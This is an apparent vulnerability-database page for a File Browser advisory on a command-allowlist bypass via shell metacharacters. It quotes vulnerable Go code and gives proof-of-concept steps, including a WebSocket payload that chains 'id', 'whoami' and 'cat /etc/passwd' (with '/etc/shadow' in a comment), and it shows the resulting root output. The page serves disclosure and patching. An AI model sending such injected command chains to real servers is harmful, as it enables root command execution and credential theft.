CVE-2026-54090High▾ TwilightFile Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 7.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 0.4%
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
When a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one.
This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The slices.Contains fix does not prevent this bypass.
runner/parser.go, function ParseCommand (lines 10-25)http/commands.go, function commandsHandler (lines 72-86)ParseCommand extracts the first token via SplitCommandAndArgs for the allowlist check, then passes the entire raw input to the shell:
func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {
name, args, err := SplitCommandAndArgs(raw)
if len(s.Shell) == 0 || s.Shell[0] == "" {
command = append(command, name)
command = append(command, args...)
} else {
command = append(command, s.Shell...)
command = append(command, raw) // full user input, metacharacters included
}
return command, name, nil
}
In commandsHandler:
if !slices.Contains(d.user.Commands, name) { // name = "ls", passes
// reject
}
cmd := exec.Command(command[0], command[1:]...)
// actually executes: /bin/sh -c "ls; id; cat /etc/shadow"
name is ls — allowed. But /bin/sh -c interprets the rest.
Prerequisites:
--disable-exec=false)/bin/sh -cgit,ls,catSteps:
POST /api/login
{"username":"admin","password":"..."}
Open a WebSocket to /api/command/ with header X-Auth: <jwt>.
Send:
ls; id; whoami; cat /etc/passwd
whoami alone returns "Command not allowed." — the allowlist is active but bypassable.Output:
bin
etc
home
...
===BYPASS===
uid=0(root) gid=0(root) groups=0(root),10(wheel)
root
root:x:0:0:root:/root:/bin/sh
Tested against commit d236f1c (frontend v3.0.0) on the official Docker image filebrowser/filebrowser:latest.
Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.
github.com/filebrowser/filebrowser/v2 < 2.33.8Upgrade to a patched release:
github.com/filebrowser/filebrowser/v2 2.33.8Connected by shared product, vendor, weakness, or advisory.
CVE-2025-53893HighFile Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing
CVE-2026-25890High· 8.1File Browser has a Path-Based Access Control Bypass via Multiple Leading Slashes in URL
CVE-2025-52996Low· 3.1File Browser's password protection of links is bypassable
CVE-2026-35607High· 8.1File Browser: Proxy auth auto-provisioned users inherit Execute permission and Commands
CVE-2026-62843Medium· 6.8File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
CVE-2026-62684Low· 2.7File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory